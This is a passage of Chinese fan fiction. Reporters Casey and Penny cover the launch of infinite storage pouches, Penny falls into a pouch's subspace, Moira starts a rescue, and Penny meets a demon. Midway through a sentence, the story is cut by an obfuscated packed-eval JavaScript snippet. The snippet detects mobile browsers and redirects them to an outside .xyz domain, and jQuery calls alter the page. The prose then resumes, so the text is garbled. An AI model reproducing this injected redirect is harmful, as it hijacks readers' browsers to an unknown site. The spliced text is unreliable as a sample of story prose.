队列开始缓慢移动。凯西和佩妮因为举着记者证得以免于排队,拍到许多有意思的画面:莫伊拉二号高效地接待着客人,莫伊拉本人则坐在她身旁发着呆;玛吉跟波比讨论收纳口袋容量升至无限后是否还能保证原来的保鲜能力,并旁敲侧击她平时都用口袋装哪些食材;瞬跃难得没砰地一声来又砰地一声走,而是安安静静站在那里排队;菲比和查莉也在其中,查莉还不断从她警服上缝的旧版收纳口袋里掏零食吃…… 此等乱中有序的画面放在古怪多,大家都知道,离出事不远了。 混乱的起源是瞬跃,她在买到她的无限收纳口袋后十分兴奋,表示自己以后送外卖可以少跑几趟,方便多了。然后她无视了正在讲解注意事项的莫伊拉二号,把旧口袋里的东西往新口袋里一放,砰地一声就想瞬移离开。 “……最好不要将口袋放置在能量波动强烈的环境中,否则可能会影响口袋内部连同的亚空间的稳定性。啊,出事了。” 莫伊拉二号朝着店门口走去,在瞬跃面前停下。瞬跃仰面朝天躺在地上,身旁散落着新口袋,旧口袋,几件铆钉夹克,以及不计其数的能量棒。她的身体与这些物品的轮廓都在轻微地抖动和虚化。莫伊拉二号拿出一个喷雾模样的东西在瞬跃身上喷了两下,这种不稳定就结束了。 处理完这个意外,莫伊拉二号重新向店里走去,然后说:“新无限收纳口袋在现阶段仍然存在稳定性方面的缺陷。请不要将强魔力源放进口袋,也不要将活物放进去。注意,这里所说的是广义上的活物,既包括你我她这样的动物或魔力驱动生物,也包括迷雾森林里那些会跳舞的树……” 有了瞬跃前车之鉴,这次大家都安安静静地听她讲完,有几个还拿出笔记本记了起来。 这样近似于上课的正经氛围显然让某些人感到不自在。而这里的某些人,实际上指的是本镇驰名的两个羽毛混蛋,莉娜和卡翠娜。 作为青少年,她们缺乏购买无限收纳口袋的资金,但同时,她们不可能不对这种事情感兴趣。因此她们来得比谁都早,居高临下地从道具店房檐往下看,并在瞬跃因为错误使用摔了个大马趴的时候笑得抱成一团。 结果现在大家都乖乖听二号讲解了,她们没乐子可瞧,于是都感觉到无聊起来。 她们开始做游戏。 起初她们只是随便捡了块小石子来回地抛接,后来渐渐开始上了难度,自己用高难度动作抛出石子时还要喊出对方下一个石子要从哪个地方抛出什么样的角度,并且要求越来越离谱。 “连做十二个后空翻,然后从胯/下扔出来!” “二十个侧手翻,然后从腋下扔出来!” “用嘴上下抛接三十次,然后再扔过来!” “用脚上下踢四十下,然后倒立着踢过来!” “用羽毛尖!” “用羽毛根!” …… 正当她们战得难分难舍的时候,莉娜因为做后空翻时动作稍微变形,石头没有朝着卡翠娜的方向走,而是在空中划出一道诡异的螺纹线,最终击中了路边的一个垃圾箱。垃圾箱立刻倒在地上,倾倒出许多垃圾。 菲比警长从队列中抬起头,声音中的警告意味十分明显:“卡翠娜,莉娜,把垃圾箱收拾好。” 两个捣蛋鬼夸张地抱在一起大叫几声“警长我们错了”,然后才飞下去开始干活。 之后的售卖过程倒是比较平静,除了一件有趣的小事:魅影被莫伊拉二号认出来,并直白地告诉她之前提问的“是否可以把无线收纳口袋缝到礼帽里”答案是可以。结果她手足无措,打着哈哈说她其实是魅影的模仿者,魅影本人怎么会问这种问题呢,然后仓皇离去。只留下莫伊拉二号站在柜台后,还在说着“但魔力波动就是一样的啊,现有技术应该不能模仿到这么相似吧”。 店里的顾客渐渐少了下去,凯西和佩妮的素材也收集得差不多了,于是决定回去写稿。走之前,她们俩也一人买了一个口袋。 凯西一边翻看相机里的照片,一边说:“真没想到今天的活动居然这么平静就过去了,可能是我对莫伊拉有刻板印象,我总觉得不可能这么简……” “单”字还没说出口,佩妮忽然惊呼一声,脚下一滑摔倒了。 原来之前莉娜和卡翠娜收拾垃圾桶的时候不够仔细,还有一块香蕉皮被留在了路边一个不易察觉的角落里。 凯西正惊讶于预言鸡的预言居然真的实现了,地上的佩妮一边拒绝她的帮助,一边自己手撑地想要爬起来,结果她的手掌撑在了落在地上的无线收纳口袋上。只见她的身体轮廓轻微地扭曲了一下,随后就消失在了凯西面前,留下一句听上去很闷的“凯西!”。 凯西下意识地把手伸进口袋,但她立刻感觉到手臂像是失去了实感,使她莫名地理解了一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479297|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病人截肢后依然感觉失去的肢体还在那里是种什么感觉。她飞快地抽出手,大声喊道:“莫伊拉,有人掉进袋子了,快点过来看看啊!” 莫伊拉来得比她想象的要快,边走还边说着:“智慧生物活体实例……”眼睛里闪烁着兴奋的光。 她拿出一个探测器,探测头伸进口袋里:“她不在她该在的地方……一定是生物电场跟亚空间发生了反应,她现在很可能进入了亚空间乱流……或者别的子空间。” “能救出来吗?”凯西焦急地问道。 莫伊拉沉吟:“需要一段时间。二号,帮我稳定亚空间能量,我需要反向定位活体佩妮的所在坐标!” 莫伊拉二号抬着一台巨大的机器走过来,以非人的速度开始转动和调试上面的各种旋钮。 莫伊拉本人则向凯西问道:“你是她的搭档?” 凯西点点头:“我们是同事,还是室友。” 莫伊拉说:“够用了。坐下。” 她一句解释也没有,弄得凯西一头雾水,但还是顺从地盘腿坐在了地上。 莫伊拉在凯西的脸上,身上,四肢都贴满了电极片,然后说:“闭上眼睛,努力想着佩妮的样子,除此之外,什么都不要想……” 她的声音完全没有平时的飘忽不定,而是坚定、富有说服力,甚至带着一种催眠般的魔力。凯西感觉自己的意识沉了下去,越沉越深,越沉越深…… 佩妮觉得自己在做梦。 她仿佛身处一个万花筒的内部,周围是依照某种未知的规律发生变化的几何图形。而她则处在漫长的、简直像是无穷尽的坠落中,几乎使她对时间和空间都失去了实感。 当她终于落在某个“地面”上时,这种坠落同样也是缺乏实感的。她觉得自己是被一种迟缓的、软弱的阻力所托住了,并不像是存在某个固态的平面。而当她环视四周,果然发现自己身处于一片浓白的雾气中。 雾气中飘着许多稀奇古怪的东西,刚刚用过一边小角的橡皮,略微生锈的长尾夹,根本没写几次的中性笔……有些甚至眼熟到让佩妮怀疑,自己之前莫名其妙找不到的小东西是否都到这里来了。 正当这个时候,她感到一道令人不安的目光正注视着她,刺得她后脑火辣辣的痛。然而她四周无处施力,甚至没法去看一眼身后的方向。 一个声音从她背后传来,语气中充满了恶意的愉悦:“终于,在这个被遗忘的、无人知晓的角落,有了第一位房客。” 那声音的主人显然比佩妮更清楚如何在这个空间做到行动自如,她来到佩妮的前方,露出自己的真容。 佩妮瞪大了眼睛。 这个人漆黑的头发,苍白的脸色,猩红的双眼中仿佛有血浆在缓慢流动,头上是弯曲的角,正是跟夜之呢喃的主厨赛拉菲亚一样,典型的恶魔特征! “这么多年,夏普那个臭巫师,现在还活着吗?”